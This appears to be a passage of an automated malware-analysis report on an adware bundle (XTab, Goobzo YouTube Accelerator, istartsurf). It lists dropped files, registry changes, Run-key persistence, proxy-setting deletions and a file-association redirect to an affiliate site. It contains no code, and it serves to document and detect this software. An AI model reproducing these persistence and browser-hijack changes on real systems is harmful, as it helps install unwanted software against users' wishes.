%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (17123 bytes)
%Program Files% (x86)\XTab\conf (1806 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1031.xpi (15 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (25 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (76 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (29 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (950 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (21280 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\xdomain.min.js (1568 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (6073 bytes)
%Program Files% (x86)\XTab\web\js\js.js (16 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (1 bytes)
%Program Files% (x86)\XTab\web\js\jquery.xdomainrequest.min.js (1 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn75FA.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15534 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (16990 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process INS_IWEBAR.EXE:4080 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\zejghs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\Pbwibcnmmlvvvy.tmp (332959 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\Jljudlej.exe (1585328 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\wsukuicep.dll (2138 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\eodefhbq.dll (23 bytes)

Registry activity

The process GLBCFAD.tmp:3408 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1431730950"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "0"
"ShowTrayMessage" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1431730950"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "133"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3396(build_133)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process %original file name%.exe:2784 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

The process smt_istartsurf.exe:3808 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "66 96 54 37 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\474.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "AC C9 40 3C 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectWindowsManager.exe:3888 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerProÃ¨Å¡â€ Ã‚â€¡"
"TypesSupported" = "7"

The process ProtectWindowsManager.exe:3956 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "4C 1A F9 72 63 8F D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"
"DefaultConnectionSettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "46 35 D9 3F 63 8F D0 01"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

The process gentray.exe:3252 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "67 FF 97 52 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "EF BF 0E 58 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process gentray.exe:4052 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EF BF 0E 58 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "EB C8 73 60 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process gentray.exe:3400 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EB C8 73 60 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 60 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "BF C0 C2 7E 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process ProtectService.exe:3600 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectService.exe:3944 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process YouTubeAccelerator.exe:3124 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 60 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "88 83 6E 46 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "46 39 33 44 63 8F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
